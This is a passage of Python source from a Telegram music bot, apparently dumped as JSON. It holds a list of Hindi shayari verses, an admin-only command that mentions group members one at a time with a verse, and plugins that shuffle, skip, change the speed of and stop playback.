उम्र भर की मोहब्बत मांगते है।**🌺\\n\\n**🥀Rab se apki khushiyan mangte hai duao me apki hansi mangte hai sochte hai apse kya mange chalo apse umar bhar ki mohabbat mangte hai..🥀** \",\n           \" 🌺**काश मेरे होंठ तेरे होंठों को छू जाए देखूं जहा बस तेरा ही चेहरा नज़र आए हो जाए हमारा रिश्ता कुछ ऐसा होंठों के साथ हमारे दिल भी जुड़ जाए.**🌺\\n\\n**🥀kash mere hoth tere hontho ko chu jayen dekhun jaha bas teri hi chehra nazar aaye ho jayen humara rishta kuch easa hothon ke sath humare dil bhi jud jaye.🥀** \",\n           \" 🌺**आज मुझे ये बताने की इजाज़त दे दो, आज मुझे ये शाम सजाने की इजाज़त दे दो, अपने इश्क़ मे मुझे क़ैद कर लो,आज जान तुम पर लूटाने की इजाज़त दे दो.**🌺\\n\\n**🥀Aaj mujhe ye batane ki izazat de do, aaj mujhe ye sham sajane ki izazat de do, apne ishq me mujhe ked kr lo aaj jaan tum par lutane ki izazat de do..🥀** \",\n           \" 🌺**जाने लोग मोहब्बत को क्या क्या नाम देते है, हम तो तेरे नाम को ही मोहब्बत कहते है.**🌺\\n\\n**🥀Jane log mohabbat ko kya kya naam dete hai hum to tere naam ko hi mohabbat kehte hai..🥀** \",\n           \" 🌺**देख के हमें वो सिर झुकाते हैं। बुला के महफिल में नजर चुराते हैं। नफरत हैं हमसे तो भी कोई बात नहीं। पर गैरो से मिल के दिल क्यों जलाते हो।**🌺\\n\\n**🥀Dekh Ke Hame Wo Sir Jhukate Hai Bula Ke Mahfhil Me Najar Churate Hai Nafrat Hai Hamse To Bhi Koei Bat Nhi Par Gairo Se Mil Ke Dil Kyo Jalate Ho.🥀** \",\n           \" 🌺**तेरे बिना टूट कर बिखर जायेंगे,तुम मिल गए तो गुलशन की तरह खिल जायेंगे, तुम ना मिले तो जीते जी ही मर जायेंगे, तुम्हें जो पा लिया तो मर कर भी जी जायेंगे।**🌺\\n\\n**🥀Tere bina tut kar bikhar jeynge tum mil gaye to gulshan ki tarha khil jayenge tum na mile to jite ji hi mar jayenge tumhe jo pa liya to mar kar bhi ji jayenge..🥀** \",\n           \" 🌺**सनम तेरी कसम जेसे मै जरूरी हूँ तेरी ख़ुशी के लिये, तू जरूरी है मेरी जिंदगी के लिये.**🌺\\n\\n**🥀Sanam teri kasam jese me zaruri hun teri khushi ke liye tu zaruri hai meri zindagi ke liye.🥀** \",\n           \" 🌺**तुम्हारे गुस्से पर मुझे बड़ा प्यार आया हैं इस बेदर्द दुनिया में कोई तो हैं जिसने मुझे पुरे हक्क से धमकाया हैं.**🌺\\n\\n**🥀Tumharfe gusse par mujhe pyar aaya hai is bedard duniya me koi to hai jisne mujhe pure hakk se dhamkaya hai.🥀** \",\n           \" 🌺**पलको से आँखो की हिफाजत होती है धडकन दिल की अमानत होती है ये रिश्ता भी बडा प्यारा होता है कभी चाहत तो कभी शिकायत होती है.**🌺\\n\\n**🥀Palkon se Aankho ki hifajat hoti hai dhakad dil ki Aamanat hoti hai, ye rishta bhi bada pyara hota hai, kabhi chahat to kabhi shikayat hoti hai.🥀** \",\n           \" 🌺**मुहब्बत को जब लोग खुदा मानते हैं प्यार करने वाले को क्यों बुरा मानते हैं। जब जमाना ही पत्थर दिल हैं। फिर पत्थर से लोग क्यों दुआ मांगते है।**🌺\\n\\n**🥀Muhabbt Ko Hab Log Khuda Mante Hai, Payar Karne Walo Ko Kyu Bura Mante Hai,Jab Jamana Hi Patthr Dil Hai,Fhir Patthr Se Log Kyu Duaa Magte Hai.🥀** \",\n           \" 🌺**हुआ जब इश्क़ का एहसास उन्हें आकर वो पास हमारे सारा दिन रोते रहे हम भी निकले खुदगर्ज़ इतने यारो कि ओढ़ कर कफ़न, आँखें बंद करके सोते रहे।**🌺\\n\\n**🥀Hua jab ishq ka ehsaas unhe akar wo pass humare sara din rate rahe, hum bhi nikale khudgarj itne yaro ki ood kar kafan ankhe band krke sote rhe.🥀** \",\n           \" 🌺**दिल के कोने से एक आवाज़ आती हैं। हमें हर पल उनकी याद आती हैं। दिल पुछता हैं बार -बार हमसे के जितना हम याद करते हैं उन्हें क्या उन्हें भी हमारी याद आती हैं।**🌺\\n\\n**🥀Dil Ke Kone Se Ek Aawaj Aati Hai, Hame Har Pal Uaski Yad Aati Hai, Dil Puchhta Hai Bar Bar Hamse Ke, Jitna Ham Yad Karte Hai Uanhe, Kya Uanhe Bhi Hamari Yad Aati Hai,🥀** \",\n           \" 🌺**कभी लफ्ज़ भूल जाऊं कभी बात भूल जाऊं, तूझे इस कदर चाहूँ कि अपनी जात भूल जाऊं, कभी उठ के तेरे पास से जो मैं चल दूँ, जाते हुए खुद को तेरे पास भूल जाऊं।**🌺\\n\\n**🥀Kabhi Lafz Bhool Jaaun Kabhi Baat Bhool Jaaun, Tujhe Iss Kadar Chahun Ki Apni Jaat Bhool Jaaun, Kabhi Uthh Ke Tere Paas Se Jo Main Chal Dun, Jaate Huye Khud Ko Tere Paas Bhool Jaaun..🥀** \",\n           \" 🌺**आईना देखोगे तो मेरी याद आएगी साथ गुज़री वो मुलाकात याद आएगी पल भर क लिए वक़्त ठहर जाएगा, जब आपको मेरी कोई बात याद आएगी.**🌺\\n\\n**🥀Aaina dekhoge to meri yad ayegi sath guzari wo mulakat yad ayegi pal bhar ke waqt thahar jayega jab apko meri koi bat yad ayegi.🥀** \",\n           \" 🌺**प्यार किया तो उनकी मोहब्बत नज़र आई दर्द हुआ तो पलके उनकी भर आई दो दिलों की धड़कन में एक बात नज़र आई दिल तो उनका धड़का पर आवाज़ इस दिल की आई.**🌺\\n\\n**🥀Pyar kiya to unki mohabbat nazar aai dard hua to palke unki bhar aai do dilon ki dhadkan me ek baat nazar aai dil to unka dhadka par awaz dil ki aai.🥀** \",\n           \" 🌺**कई चेहरे लेकर लोग यहाँ जिया करते हैं हम तो बस एक ही चेहरे से प्यार करते हैं ना छुपाया करो तुम इस चेहरे को,क्योंकि हम इसे देख के ही जिया करते हैं.**🌺\\n\\n**🥀Kai chehre lekar log yahn jiya karte hai hum to bas ek hi chehre se pyar karte hai na chupaya karo tum is chehre ko kyuki hum ise dekh ke hi jiya karte hai.🥀** \",\n           \" 🌺**सबके bf को अपनी gf से बात करके नींद आजाती है और मेरे वाले को मुझसे लड़े बिना नींद नहीं आती।**🌺\\n\\n**🥀Sabke bf ko apni gf se baat karke nind aajati hai aur mere wale ko mujhse lade bina nind nhi aati.🥀** \",\n           \" 🌺**सच्चा प्यार कहा किसी के नसीब में होता है. एसा प्यार कहा इस दुनिया में किसी को नसीब होता है.**🌺\\n\\n**🥀Sacha pyar kaha kisi ke nasib me hota hai esa pyar kahan is duniya me kisi ko nasib hota hai.🥀** \" ]\n\n# Command\n    \n\n\n@app.on_message(filters.command([\"shayari\" ], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mentionall(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . \")\n\n    if message.reply_to_message and message.text:\n        return await message.reply(\"/shayaril  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 \")\n    elif message.text:\n        mode = \"text_on_cmd\"\n        msg = message.text\n    elif message.reply_to_message:\n        mode = \"text_on_reply\"\n        msg = message.reply_to_message\n        if not msg:\n            return await message.reply(\"/shayari  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...\")\n    else:\n        return await message.reply(\"/shayari  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..\")\n    if chat_id in spam_chats:\n        return await message.reply(\"𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            if mode == \"text_on_cmd\":\n                txt = f\"{usrtxt} {random.choice(SHAYRI)}\"\n                await client.send_message(chat_id, txt)\n            elif mode == \"text_on_reply\":\n                await msg.reply(f\"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})\")\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n#\n\n@app.on_message(filters.command([\"cancelshayari\", \"shayarioff\"]))\nasync def cancel_spam(client, message):\n    if not message.chat.id in spam_chats:\n        return await message.reply(\"𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..\")\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(message.chat.id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.\")\n    else:\n        try:\n            spam_chats.remove(message.chat.id)\n        except:\n            pass\n        return await message.reply(\"👣 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐒𝐇𝐀𝐘𝐀𝐑𝐈 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 💗\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/shuffle.py",
    "content": "import random\n\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(\n    filters.command([\"shuffle\", \"cshuffle\"]) & filters.group & ~BANNED_USERS\n)\n@AdminRightsCheck\nasync def admins(Client, message: Message, _, chat_id):\n    check = db.get(chat_id)\n    if not check:\n        return await message.reply_text(_[\"queue_2\"])\n    try:\n        popped = check.pop(0)\n    except:\n        return await message.reply_text(_[\"admin_15\"], reply_markup=close_markup(_))\n    check = db.get(chat_id)\n    if not check:\n        check.insert(0, popped)\n        return await message.reply_text(_[\"admin_15\"], reply_markup=close_markup(_))\n    random.shuffle(check)\n    check.insert(0, popped)\n    await message.reply_text(\n        _[\"admin_16\"].format(message.from_user.mention), reply_markup=close_markup(_)\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/skip.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, Message\n\nimport config\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import get_loop\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup, stream_markup\nfrom BrandrdXMusic.utils.stream.autoclear import auto_clean\nfrom BrandrdXMusic.utils.thumbnails import get_thumb\nfrom config import BANNED_USERS\n\n\n@app.on_message(\n    filters.command([\"skip\", \"cskip\", \"next\", \"cnext\"]) & filters.group & ~BANNED_USERS\n)\n@AdminRightsCheck\nasync def skip(cli, message: Message, _, chat_id):\n    if not len(message.command) < 2:\n        loop = await get_loop(chat_id)\n        if loop != 0:\n            return await message.reply_text(_[\"admin_8\"])\n        state = message.text.split(None, 1)[1].strip()\n        if state.isnumeric():\n            state = int(state)\n            check = db.get(chat_id)\n            if check:\n                count = len(check)\n                if count > 2:\n                    count = int(count - 1)\n                    if 1 <= state <= count:\n                        for x in range(state):\n                            popped = None\n                            try:\n                                popped = check.pop(0)\n                            except:\n                                return await message.reply_text(_[\"admin_12\"])\n                            if popped:\n                                await auto_clean(popped)\n                            if not check:\n                                try:\n                                    await message.reply_text(\n                                        text=_[\"admin_6\"].format(\n                                            message.from_user.mention,\n                                            message.chat.title,\n                                        ),\n                                        reply_markup=close_markup(_),\n                                    )\n                                    await Hotty.stop_stream(chat_id)\n                                except:\n                                    return\n                                break\n                    else:\n                        return await message.reply_text(_[\"admin_11\"].format(count))\n                else:\n                    return await message.reply_text(_[\"admin_10\"])\n            else:\n                return await message.reply_text(_[\"queue_2\"])\n        else:\n            return await message.reply_text(_[\"admin_9\"])\n    else:\n        check = db.get(chat_id)\n        popped = None\n        try:\n            popped = check.pop(0)\n            if popped:\n                await auto_clean(popped)\n            if not check:\n                await message.reply_text(\n                    text=_[\"admin_6\"].format(\n                        message.from_user.mention, message.chat.title\n                    ),\n                    reply_markup=close_markup(_),\n                )\n                try:\n                    return await Hotty.stop_stream(chat_id)\n                except:\n                    return\n        except:\n            try:\n                await message.reply_text(\n                    text=_[\"admin_6\"].format(\n                        message.from_user.mention, message.chat.title\n                    ),\n                    reply_markup=close_markup(_),\n                )\n                return await Hotty.stop_stream(chat_id)\n            except:\n                return\n    queued = check[0][\"file\"]\n    title = (check[0][\"title\"]).title()\n    user = check[0][\"by\"]\n    streamtype = check[0][\"streamtype\"]\n    videoid = check[0][\"vidid\"]\n    status = True if str(streamtype) == \"video\" else None\n    db[chat_id][0][\"played\"] = 0\n    exis = (check[0]).get(\"old_dur\")\n    if exis:\n        db[chat_id][0][\"dur\"] = exis\n        db[chat_id][0][\"seconds\"] = check[0][\"old_second\"]\n        db[chat_id][0][\"speed_path\"] = None\n        db[chat_id][0][\"speed\"] = 1.0\n    if \"live_\" in queued:\n        n, link = await YouTube.video(videoid, True)\n        if n == 0:\n            return await message.reply_text(_[\"admin_7\"].format(title))\n        try:\n            image = await YouTube.thumbnail(videoid, True)\n        except:\n            image = None\n        try:\n            await Hotty.skip_stream(chat_id, link, video=status, image=image)\n        except:\n            return await message.reply_text(_[\"call_6\"])\n        button = stream_markup2(_, chat_id)\n        img = await get_thumb(videoid)\n        run = await message.reply_photo(\n            photo=img,\n            caption=_[\"stream_1\"].format(\n                f\"https://t.me/{app.username}?start=info_{videoid}\",\n                title[:23],\n                check[0][\"dur\"],\n                user,\n            ),\n            reply_markup=InlineKeyboardMarkup(button),\n        )\n        db[chat_id][0][\"mystic\"] = run\n        db[chat_id][0][\"markup\"] = \"tg\"\n    elif \"vid_\" in queued:\n        mystic = await message.reply_text(_[\"call_7\"], disable_web_page_preview=True)\n        try:\n            file_path, direct = await YouTube.download(\n                videoid,\n                mystic,\n                videoid=True,\n                video=status,\n            )\n        except:\n            return await mystic.edit_text(_[\"call_6\"])\n        try:\n            image = await YouTube.thumbnail(videoid, True)\n        except:\n            image = None\n        try:\n            await Hotty.skip_stream(chat_id, file_path, video=status, image=image)\n        except:\n            return await mystic.edit_text(_[\"call_6\"])\n        button = stream_markup(_, videoid, chat_id)\n        img = await get_thumb(videoid)\n        run = await message.reply_photo(\n            photo=img,\n            caption=_[\"stream_1\"].format(\n                f\"https://t.me/{app.username}?start=info_{videoid}\",\n                title[:23],\n                check[0][\"dur\"],\n                user,\n            ),\n            reply_markup=InlineKeyboardMarkup(button),\n        )\n        db[chat_id][0][\"mystic\"] = run\n        db[chat_id][0][\"markup\"] = \"stream\"\n        await mystic.delete()\n    elif \"index_\" in queued:\n        try:\n            await Hotty.skip_stream(chat_id, videoid, video=status)\n        except:\n            return await message.reply_text(_[\"call_6\"])\n        button = stream_markup2(_, chat_id)\n        run = await message.reply_photo(\n            photo=config.STREAM_IMG_URL,\n            caption=_[\"stream_2\"].format(user),\n            reply_markup=InlineKeyboardMarkup(button),\n        )\n        db[chat_id][0][\"mystic\"] = run\n        db[chat_id][0][\"markup\"] = \"tg\"\n    else:\n        if videoid == \"telegram\":\n            image = None\n        elif videoid == \"soundcloud\":\n            image = None\n        else:\n            try:\n                image = await YouTube.thumbnail(videoid, True)\n            except:\n                image = None\n        try:\n            await Hotty.skip_stream(chat_id, queued, video=status, image=image)\n        except:\n            return await message.reply_text(_[\"call_6\"])\n        if videoid == \"telegram\":\n            button = stream_markup2(_, chat_id)\n            run = await message.reply_photo(\n                photo=config.TELEGRAM_AUDIO_URL\n                if str(streamtype) == \"audio\"\n                else config.TELEGRAM_VIDEO_URL,\n                caption=_[\"stream_1\"].format(\n                    config.SUPPORT_CHAT, title[:23], check[0][\"dur\"], user\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n        elif videoid == \"soundcloud\":\n            button = stream_markup(_, chat_id)\n            run = await message.reply_photo(\n                photo=config.SOUNCLOUD_IMG_URL\n                if str(streamtype) == \"audio\"\n                else config.TELEGRAM_VIDEO_URL,\n                caption=_[\"stream_1\"].format(\n                    config.SUPPORT_CHAT, title[:23], check[0][\"dur\"], user\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n        else:\n            button = stream_markup(_, videoid, chat_id)\n            img = await get_thumb(videoid)\n            run = await message.reply_photo(\n                photo=img,\n                caption=_[\"stream_1\"].format(\n                    f\"https://t.me/{app.username}?start=info_{videoid}\",\n                    title[:23],\n                    check[0][\"dur\"],\n                    user,\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"stream\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/speed.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import SUDOERS, db\nfrom BrandrdXMusic.utils import AdminRightsCheck\nfrom BrandrdXMusic.utils.database import is_active_chat, is_nonadmin_chat\nfrom BrandrdXMusic.utils.decorators.language import languageCB\nfrom BrandrdXMusic.utils.inline import close_markup, speed_markup\nfrom config import BANNED_USERS, adminlist\n\nchecker = []\n\n\n@app.on_message(\n    filters.command([\"cspeed\", \"speed\", \"cslow\", \"slow\", \"playback\", \"cplayback\"])\n    & filters.group\n    & ~BANNED_USERS\n)\n@AdminRightsCheck\nasync def playback(cli, message: Message, _, chat_id):\n    playing = db.get(chat_id)\n    if not playing:\n        return await message.reply_text(_[\"queue_2\"])\n    duration_seconds = int(playing[0][\"seconds\"])\n    if duration_seconds == 0:\n        return await message.reply_text(_[\"admin_27\"])\n    file_path = playing[0][\"file\"]\n    if \"downloads\" not in file_path:\n        return await message.reply_text(_[\"admin_27\"])\n    upl = speed_markup(_, chat_id)\n    return await message.reply_text(\n        text=_[\"admin_28\"].format(app.mention),\n        reply_markup=upl,\n    )\n\n\n@app.on_callback_query(filters.regex(\"SpeedUP\") & ~BANNED_USERS)\n@languageCB\nasync def del_back_playlist(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    chat, speed = callback_request.split(\"|\")\n    chat_id = int(chat)\n    if not await is_active_chat(chat_id):\n        return await CallbackQuery.answer(_[\"general_5\"], show_alert=True)\n    is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\n    if not is_non_admin:\n        if CallbackQuery.from_user.id not in SUDOERS:\n            admins = adminlist.get(CallbackQuery.message.chat.id)\n            if not admins:\n                return await CallbackQuery.answer(_[\"admin_13\"], show_alert=True)\n            else:\n                if CallbackQuery.from_user.id not in admins:\n                    return await CallbackQuery.answer(_[\"admin_14\"], show_alert=True)\n    playing = db.get(chat_id)\n    if not playing:\n        return await CallbackQuery.answer(_[\"queue_2\"], show_alert=True)\n    duration_seconds = int(playing[0][\"seconds\"])\n    if duration_seconds == 0:\n        return await CallbackQuery.answer(_[\"admin_27\"], show_alert=True)\n    file_path = playing[0][\"file\"]\n    if \"downloads\" not in file_path:\n        return await CallbackQuery.answer(_[\"admin_27\"], show_alert=True)\n    checkspeed = (playing[0]).get(\"speed\")\n    if checkspeed:\n        if str(checkspeed) == str(speed):\n            if str(speed) == str(\"1.0\"):\n                return await CallbackQuery.answer(\n                    _[\"admin_29\"],\n                    show_alert=True,\n                )\n    else:\n        if str(speed) == str(\"1.0\"):\n            return await CallbackQuery.answer(\n                _[\"admin_29\"],\n                show_alert=True,\n            )\n    if chat_id in checker:\n        return await CallbackQuery.answer(\n            _[\"admin_30\"],\n            show_alert=True,\n        )\n    else:\n        checker.append(chat_id)\n    try:\n        await CallbackQuery.answer(\n            _[\"admin_31\"],\n        )\n    except:\n        pass\n    mystic = await CallbackQuery.edit_message_text(\n        text=_[\"admin_32\"].format(CallbackQuery.from_user.mention),\n    )\n    try:\n        await Hotty.speedup_stream(\n            chat_id,\n            file_path,\n            speed,\n            playing,\n        )\n    except:\n        if chat_id in checker:\n            checker.remove(chat_id)\n        return await mystic.edit_text(_[\"admin_33\"], reply_markup=close_markup(_))\n    if chat_id in checker:\n        checker.remove(chat_id)\n    await mystic.edit_text(\n        text=_[\"admin_34\"].format(speed, CallbackQuery.from_user.mention),\n        reply_markup=close_markup(_),\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/stop.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.utils.database import set_loop\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(\n    filters.command([\"end\", \"stop\", \"cend\", \"cstop\"]) & filters.group & ~BANNED_USERS\n)\n@AdminRightsCheck\nasync def stop_music(cli, message: Message, _, chat_id):\n    if not len(message.command) == 1:\n        return\n    await Hotty.stop_stream(chat_id)\n    await set_loop(chat_id, 0)\n    await message.reply_text(\n        _[\"admin_5\"].format(message.from_user.mention), reply_markup=close_markup(_)\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/tagall.py",
    "content": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\n\nspam_chats = []\n\nEMOJI = [ \"🦋🦋🦋🦋🦋\",\n          \"🧚🌸🧋🍬🫖\",\n          \"🥀🌷🌹🌺💐\",\n          \"🌸🌿💮🌱🌵\",\n          \"❤️💚💙💜🖤\",\n          \"💓💕💞💗💖\",\n          \"🌸💐🌺🌹🦋\",\n          \"🍔🦪🍛🍲🥗\",\n          \"🍎🍓🍒🍑🌶️\",\n          \"🧋🥤🧋🥛🍷\",\n          \"🍬🍭🧁🎂🍡\",\n          \"🍨🧉🍺☕🍻\",\n          \"🥪🥧🍦🍥🍚\",\n          \"🫖☕🍹🍷🥛\",\n          \"☕🧃🍩🍦🍙\",\n          \"🍁🌾💮🍂🌿\",\n          \"🌨️🌥️⛈️🌩️🌧️\",\n          \"🌷🏵️🌸🌺💐\",\n          \"💮🌼🌻🍀🍁\",\n          \"🧟🦸🦹🧙👸\",\n          \"🧅🍠🥕🌽🥦\",\n          \"🐷🐹🐭🐨🐻‍❄️\",\n          \"🦋🐇🐀🐈🐈‍⬛\",\n          \"🌼🌳🌲🌴🌵\",\n          \"🥩🍋🍐🍈🍇\",\n          \"🍴🍽️🔪🍶🥃\",\n          \"🕌🏰🏩⛩️🏩\",\n          \"🎉🎊🎈🎂🎀\",\n          \"🪴🌵🌴🌳🌲\",\n          \"🎄🎋🎍🎑🎎\",\n          \"🦅🦜🕊️🦤🦢\",\n          \"🦤🦩🦚🦃🦆\",\n          \"🐬🦭🦈🐋🐳\",\n          \"🐔🐟🐠🐡🦐\",\n          \"🦩🦀🦑🐙🦪\",\n          \"🐦🦂🕷️🕸️🐚\",\n          \"🥪🍰🥧🍨🍨\",\n          \" 🥬🍉🧁🧇\",\n        ]\n\nTAGMES = [ \" **𝐇𝐞𝐲 𝐁𝐚𝐛𝐲 𝐊𝐚𝐡𝐚 𝐇𝐨🤗🥱** \",\n           \" **𝐎𝐲𝐞 𝐒𝐨 𝐆𝐲𝐞 𝐊𝐲𝐚 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚𝐨😊** \",\n           \" **𝐕𝐜 𝐂𝐡𝐚𝐥𝐨 𝐁𝐚𝐭𝐞𝐧 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧 𝐊𝐮𝐜𝐡 𝐊𝐮𝐜𝐡😃** \",\n           \" **𝐊𝐡𝐚𝐧𝐚 𝐊𝐡𝐚 𝐋𝐢𝐲𝐞 𝐉𝐢..??🥲** \",\n           \" **𝐆𝐡𝐚𝐫 𝐌𝐞 𝐒𝐚𝐛 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧 𝐉𝐢🥺** \",\n           \" **𝐏𝐭𝐚 𝐇𝐚𝐢 𝐁𝐨𝐡𝐨𝐭 𝐌𝐢𝐬𝐬 𝐊𝐚𝐫 𝐑𝐡𝐢 𝐓𝐡𝐢 𝐀𝐚𝐩𝐤𝐨🤭** \",\n           \" **𝐎𝐲𝐞 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐊𝐞𝐬𝐚 𝐇𝐚𝐢..??🤨** \",\n           \" **𝐌𝐞𝐫𝐢 𝐁𝐡𝐢 𝐒𝐞𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫𝐛𝐚 𝐃𝐨𝐠𝐞..??🙂** \",\n           \" **𝐀𝐚𝐩𝐤𝐚 𝐍𝐚𝐦𝐞 𝐊𝐲𝐚 𝐡𝐚𝐢..??🥲** \",\n           \" **𝐍𝐚𝐬𝐭𝐚 𝐇𝐮𝐚 𝐀𝐚𝐩𝐤𝐚..??😋** \",\n           \" **𝐌𝐞𝐫𝐞 𝐊𝐨 𝐀𝐩𝐧𝐞 𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐊𝐢𝐝𝐧𝐚𝐩 𝐊𝐫 𝐋𝐨😍** \",\n           \" **𝐀𝐚𝐩𝐤𝐢 𝐏𝐚𝐫𝐭𝐧𝐞𝐫 𝐀𝐚𝐩𝐤𝐨 𝐃𝐡𝐮𝐧𝐝 𝐑𝐡𝐞 𝐇𝐚𝐢𝐧 𝐉𝐥𝐝𝐢 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐲𝐢𝐚𝐞😅😅** \",\n           \" **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐃𝐨𝐬𝐭𝐢 𝐊𝐫𝐨𝐠𝐞..??🤔** \",\n           \" **𝐒𝐨𝐧𝐞 𝐂𝐡𝐚𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🙄🙄** \",\n           \" **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚 𝐏𝐥𝐬𝐬😕** \",\n           \" **𝐀𝐚𝐩 𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨..??🙃** \",\n           \" **𝐇𝐞𝐥𝐥𝐨 𝐉𝐢 𝐍𝐚𝐦𝐚𝐬𝐭𝐞😛** \",\n           \" **𝐇𝐞𝐥𝐥𝐨 𝐁𝐚𝐛𝐲 𝐊𝐤𝐫𝐡..?🤔** \",\n           \" **𝐃𝐨 𝐘𝐨𝐮 𝐊𝐧𝐨𝐰 𝐖𝐡𝐨 𝐈𝐬 𝐌𝐲 𝐎𝐰𝐧𝐞𝐫 [@BRANDEDKING82].?** \",\n           \" **𝐂𝐡𝐥𝐨 𝐊𝐮𝐜𝐡 𝐆𝐚𝐦𝐞 𝐊𝐡𝐞𝐥𝐭𝐞 𝐇𝐚𝐢𝐧.🤗** \",\n           \" **𝐀𝐮𝐫 𝐁𝐚𝐭𝐚𝐨 